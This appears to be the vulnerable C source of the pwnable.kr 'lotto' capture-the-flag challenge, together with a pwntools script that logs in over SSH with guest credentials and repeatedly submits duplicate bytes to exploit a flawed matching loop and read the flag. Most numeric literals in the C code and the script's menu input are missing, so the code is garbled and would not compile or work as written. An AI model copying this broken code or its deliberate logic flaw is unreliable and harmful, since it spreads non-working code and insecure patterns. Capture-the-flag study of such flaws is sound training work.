#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>

unsigned char submit[];

void play(){

    int i;

    printf("Submit your 6 lotto bytes : ");

    fflush(stdout);

    int r;

    r = read(, submit, );

    printf("Lotto Start!\n");

    //sleep(1);

    // generate lotto numbers

    int fd = open("/dev/urandom", O_RDONLY);

    if(fd==-){

        printf("error. tell admin\n");

        exit(-);

    }

    unsigned char lotto[];

    if(read(fd, lotto, ) != ){

        printf("error2. tell admin\n");

        exit(-);

    }

    for(i=; i<; i++){

        lotto[i] = (lotto[i] % ) + ;        // 1 ~ 45

    }

    close(fd);

    // calculate lotto score

    int match = , j = ;

    for(i=; i<; i++){

        for(j=; j<; j++){

            if(lotto[i] == submit[j]){

                match++;

            }

        }

    }

    // win!

    if(match == ){

        system("/bin/cat flag");

    }

    else{

        printf("bad luck...\n");

    }

}

void help(){

    printf("- nLotto Rule -\n");

    printf("nlotto is consisted with 6 random natural numbers less than 46\n");

    printf("your goal is to match lotto numbers as many as you can\n");

    printf("if you win lottery for *1st place*, you will get reward\n");

    printf("for more details, follow the link below\n");

    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");

    printf("mathematical chance to win this game is known to be 1/8145060.\n");

}

int main(int argc, char* argv[]){

    // menu

    unsigned int menu;

    while(){

        printf("- Select Menu -\n");

        printf("1. Play Lotto\n");

        printf("2. Help\n");

        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){

            case :

                play();

                break;

            case :

                help();

                break;

            case :

                printf("bye\n");

                return ;

            default:

                printf("invalid menu\n");

                break;

        }

    }

    return ;

}

from pwn import *

s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)

pro = s.process('/home/lotto/lotto')

print pro.recv()

pro.sendline('')

print pro.recv()

str1 = ""

str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6)

pro.sendline(str1)

revcstr =  pro.recv()

print len(revcstr),revcstr

#exit()

while 1:

    pro.sendline('')

    print pro.recv()

    pro.sendline(str1)

    a =  pro.recv()

    if len(a)>71: #71是先验知识，指输入错误返回字符串的长度，就是下面字符串的长度

        print a

        break

    #pass
'''

Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit

'''